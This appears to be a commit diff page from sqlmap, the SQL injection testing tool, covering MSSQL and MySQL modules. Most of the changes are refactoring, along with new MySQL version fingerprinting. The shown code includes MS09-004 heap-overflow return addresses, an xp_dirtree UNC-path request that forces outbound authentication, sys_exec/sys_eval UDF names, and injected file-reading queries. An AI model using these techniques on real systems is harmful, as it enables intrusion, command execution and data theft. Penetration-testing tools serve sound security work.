"8.1 or 2012 R2": ("6.3", (0,)) }
# Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
# https://en.wikipedia.org/wiki/Windows_NT#Releases
versions = {
"NT": ("4.0", (6, 5, 4, 3, 2, 1)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (3, 2, 1)),
"2003": ("5.2", (2, 1)),
"Vista or 2008": ("6.0", (2, 1)),
"7 or 2008 R2": ("6.1", (1, 0)),
"8 or 2012": ("6.2", (0,)),
"8.1 or 2012 R2": ("6.3", (0,))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():

View File

@@ -20,32 +20,33 @@ class Takeover(GenericTakeover):
GenericTakeover.__init__(self)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
# inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self):
"""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
* https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004
* https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co
"""
returns = {
# 2003 Service Pack 0
"2003-0": (""),
# 2003 Service Pack 0
"2003-0": (""),
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
# "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 09/2009
# "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
for versionSp, data in returns.items():

View File

@@ -23,11 +23,11 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take
def __init__(self):
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF return data-type
"sys_exec": { "return": "int" },
"sys_eval": { "return": "string" },
"sys_bineval": { "return": "int" }
}
# UDF name: UDF return data-type
"sys_exec": {"return": "int"},
"sys_eval": {"return": "string"},
"sys_bineval": {"return": "int"}
}
Syntax.__init__(self)
Fingerprint.__init__(self)

View File

@@ -37,7 +37,7 @@ class Connector(GenericConnector):
try:
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
except (pymysql.OperationalError, pymysql.InternalError), msg:
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError), msg:
raise SqlmapConnectionException(msg[1])
except struct.error, msg:
raise SqlmapConnectionException(msg)

View File

@@ -14,6 +14,7 @@ from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
@@ -68,20 +69,20 @@ class Filesystem(GenericFilesystem):
raise SqlmapNoneDataException(warnMsg)
else:
length = int(length)
sustrLen = 1024
chunkSize = 1024
if length > sustrLen:
if length > chunkSize:
result = []
for i in xrange(1, length, sustrLen):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
for i in xrange(1, length, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
@stackedmethod
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")

View File

@@ -41,18 +41,19 @@ class Fingerprint(GenericFingerprint):
# Reference: https://downloads.mysql.com/archives/community/
versions = (
(32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40131), # MySQL 4.1
(50000, 50096), # MySQL 5.0
(50100, 50172), # MySQL 5.1
(50400, 50404), # MySQL 5.4
(50500, 50554), # MySQL 5.5
(50600, 50635), # MySQL 5.6
(50700, 50717), # MySQL 5.7
(60000, 60014), # MySQL 6.0
)
(32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40131), # MySQL 4.1
(50000, 50096), # MySQL 5.0
(50100, 50172), # MySQL 5.1
(50400, 50404), # MySQL 5.4
(50500, 50558), # MySQL 5.5
(50600, 50638), # MySQL 5.6
(50700, 50720), # MySQL 5.7
(60000, 60014), # MySQL 6.0
(80000, 80003), # MySQL 8.0
)
index = -1
for i in xrange(len(versions)):
@@ -123,7 +124,7 @@ class Fingerprint(GenericFingerprint):
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
if banVer and re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
@@ -182,8 +183,15 @@ class Fingerprint(GenericFingerprint):
# reading information_schema on some platforms is causing annoying timeout exits
# Reference: http://bugs.mysql.com/bug.php?id=15855
# Determine if it is MySQL >= 8.0.0
if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
kb.data.has_information_schema = True
Backend.setVersion(">= 8.0.0")
setDbms("%s 8" % DBMS.MYSQL)
self.getBanner()
# Determine if it is MySQL >= 5.0.0
if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
kb.data.has_information_schema = True
Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL)
@@ -195,9 +203,17 @@ class Fingerprint(GenericFingerprint):
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
logger.info(infoMsg)
# Check if it is MySQL >= 5.5.0
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
Backend.setVersion(">= 5.5.0")
# Check if it is MySQL >= 5.7
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
Backend.setVersion(">= 5.7")
# Check if it is MySQL >= 5.6
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
Backend.setVersion(">= 5.6")
# Check if it is MySQL >= 5.5
elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
Backend.setVersion(">= 5.5")
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):

Some files were not shown because too many files have changed in this diff Show More